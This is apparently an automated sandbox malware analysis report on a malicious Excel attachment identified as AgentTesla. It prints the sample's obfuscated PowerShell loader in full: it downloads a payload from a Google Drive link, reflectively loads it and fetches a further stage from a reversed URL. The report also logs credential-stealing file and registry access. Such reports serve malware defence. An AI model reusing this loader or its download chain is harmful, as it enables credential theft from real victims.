ysnz3cwlgd3mgrlc2f0axzhjysnzg9ndzasz3cwzgvzyxrpdmfkb2d3mcxndzbkzxnhdgl2ywrvz3cwlgd3mgrlc2f0axzhzg9ndzasz3cwmwd3mcxndzbkzxnhdgl2ywrvz3cwkscrjyk7jykuumvqbgfdzsgndzvjjyxbu3rysw5hxvtdaefsxteynckuumvqbgfdzsgna0z2jywnjccplljlugxhq2uokftdaefsxtewmytbq2hbul0xmtkrw0noqvjdndgplfttdhjjbkddw0noqvjdmzkpihwgjiaokhzhcklbqkxficcqtwrykicplk5hbwvbmywxmswyxs1kt2lujycp';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "('kfvimageurl'+' = '+'gw0https://drive.google.'+'co'+'m/uc?exp'+'ort=download&id=1aivgjjjv1f6vs4suoybnh-sd'+'vuhbywur gw0;kfv'+'webclient = new-object system.net.webcl'+'ient;kf'+'vima'+'gebytes = '+'kfvwebclient.'+'downloaddata(kfvimageurl);kfvimagetext = [system.text.e'+'ncoding]::utf8.getstrin'+'g(kfvimagebytes);kfvstartflag = gw0<<base64_start>>gw0;kfvend'+'flag = gw0<<ba'+'se64_end>>gw0;kfvstartinde'+'x = kfvimagetext.indexof(kfvstartflag);kf'+'vendindex = kfvimagetext.i'+'ndexof(kfvendfl'+'ag);kfvstartindex -ge 0 -'+'a'+'nd kfvendindex '+'-gt kfvstartindex;kfvstartindex += kfvstartflag.length;kfvbase64length = kfvendindex - kfvstartindex;kfvbase64command = kfvimagetext.substring(kfvstartind'+'ex, kfvbase64length);kfvbase64reversed = -join (kfvbase64command.tochararray()'+' w5'+'c foreach-object { kfv_ })[-1..-(kfvbase64command.length)];kfvcommandbytes = [system.convert]::from'+'base64string(kfvbase64reverse'+'d);kfvloadedassembly = [syste'+'m.reflection.assembly]::load(kfvcommandbytes);kfvvaimethod = [dnlib.io.home].getmethod(gw0vaigw0);kfvvaimethod.invoke(kfv'+'null, @(gw0txt.aaaaabewmadam/31.1'+'3.271.70'+'1//:ptth'+'gw0, gw0de'+'sativadogw0, gw0de'+'sativadogw0, gw0desativadogw0, gw0addinprocess32gw0, gw0desativadogw0, gw0desativadogw0,gw0desativado'+'gw0,gw0desativa'+'dogw0,gw0desativadogw0,gw0desativadogw0,gw0desativadogw0,gw01gw0,gw0desativadogw0)'+');').replace('w5c',[string][char]124).replace('kfv','$').replace(([char]103+[char]119+[char]48),[string][char]39) \| & ((variable 'mdr').name[3,11,2]-join'')"	Jump to behavior

Queries the volume information (name, serial number etc) of a device

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe VolumeInformation	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 8.2.powershell.exe.723ab28.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.powershell.exe.723ab28.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.525088434.000000000723A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.626497727.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3984, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 3136, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Yara detected Credential Stealer

Source: Yara match	File source: 8.2.powershell.exe.723ab28.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.powershell.exe.723ab28.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.525088434.000000000723A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.626497727.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.628239471.00000000023C5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3984, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 3136, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 8.2.powershell.exe.723ab28.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.powershell.exe.723ab28.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.525088434.000000000723A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.626497727.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3984, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 3136, type: MEMORYSTR

Windows Analysis Report
transferencia interbancaria_66579.xlam.xlsx

Overview

General Information

Detection

Signatures

Classification

Malware Threat Intel
Provided by

Signatures

AV Detection

Exploits

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Screenshots

Behavior Graph

Network Map

Contacted Public IPs

Contacted Domains

Contacted URLs

ID:	1540840
Product:	CloudBasic
Start time:	08:57:17
Start date:	24.10.2024
Sample:	transferencia interbancaria_66579.xlam.xlsx
Cookbook:	defaultwindowsofficecookbook.jbs
System description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Architecture:	WINDOWS
MD5:	c2a1f2f11eafc8f0faa2480b44d95d7d
SHA1:	4aacb955102f10f5c66089fd097f22a633360383
SHA256:	bf04af05000e8205dad105999af809b1031eeb438aff45e36ae9ab416d669002
Filetype:	Excel Microsoft Office Open XML Format document (35004/1) 81.40%

Name	Type	MD5	SHA1	SHA256
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache	data	838C1F472806CF4BA2A9EC49C27C2847	D1C63579585C4740956B099697C74AD3E7C89751	40A844E6AF823D9E71A35DFEE1FF7383D8A682E9981FB70440CA47AA1F6F1FF3
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	data	446DD1CF97EABA21CF14D03AEBC79F27	36E4CC7367E0C7B40F4A8ACE272941EA46373799	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\NIGHTTTTMPDW-constraints[1].vbs	Unicode text, UTF-16, little-endian text, with CRLF line terminators	FBE9EE491581B8F2489276B2B438C80B	8EEF3B6C29958CB0A91E81DC8568C0FA3CD86D7B	AA4C0EAF54B145282142AF96E5B53F8F98921757636D4C5C54604894C37938DC
C:\Users\user\AppData\Local\Temp\1n4jhjmf.bff.ps1	very short file (no magic)	C4CA4238A0B923820DCC509A6F75849B	356A192B7913B04C54574D18C28D46E6395428AB	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
C:\Users\user\AppData\Local\Temp\bac2la0v.axw.psm1	very short file (no magic)	C4CA4238A0B923820DCC509A6F75849B	356A192B7913B04C54574D18C28D46E6395428AB	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
C:\Users\user\AppData\Local\Temp\pavil5nu.ag0.psm1	very short file (no magic)	C4CA4238A0B923820DCC509A6F75849B	356A192B7913B04C54574D18C28D46E6395428AB	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
C:\Users\user\AppData\Local\Temp\u3hmr3af.da3.ps1	very short file (no magic)	C4CA4238A0B923820DCC509A6F75849B	356A192B7913B04C54574D18C28D46E6395428AB	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
C:\Users\user\AppData\Roaming\nightdatingloverxxx.vbs	Unicode text, UTF-16, little-endian text, with CRLF line terminators	FBE9EE491581B8F2489276B2B438C80B	8EEF3B6C29958CB0A91E81DC8568C0FA3CD86D7B	AA4C0EAF54B145282142AF96E5B53F8F98921757636D4C5C54604894C37938DC
C:\Users\user\Desktop\~$transferencia interbancaria_66579.xlam.xls	data	797869BB881CFBCDAC2064F92B26E46F	61C1B8FBF505956A77E9A79CE74EF5E281B01F4B	D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0B081F185
C:\Users\user\Desktop\~$transferencia interbancaria_66579.xlam.xlsx	data	797869BB881CFBCDAC2064F92B26E46F	61C1B8FBF505956A77E9A79CE74EF5E281B01F4B	D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0B081F185

Windows Analysis Report transferencia interbancaria_66579.xlam.xlsx

Overview

General Information

Detection

Signatures

Classification

Malware Threat Intel Provided by

Signatures

AV Detection

Exploits

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Screenshots

Behavior Graph

Network Map

Contacted Public IPs

Contacted Domains

Contacted URLs

Windows Analysis Report
transferencia interbancaria_66579.xlam.xlsx

Malware Threat Intel
Provided by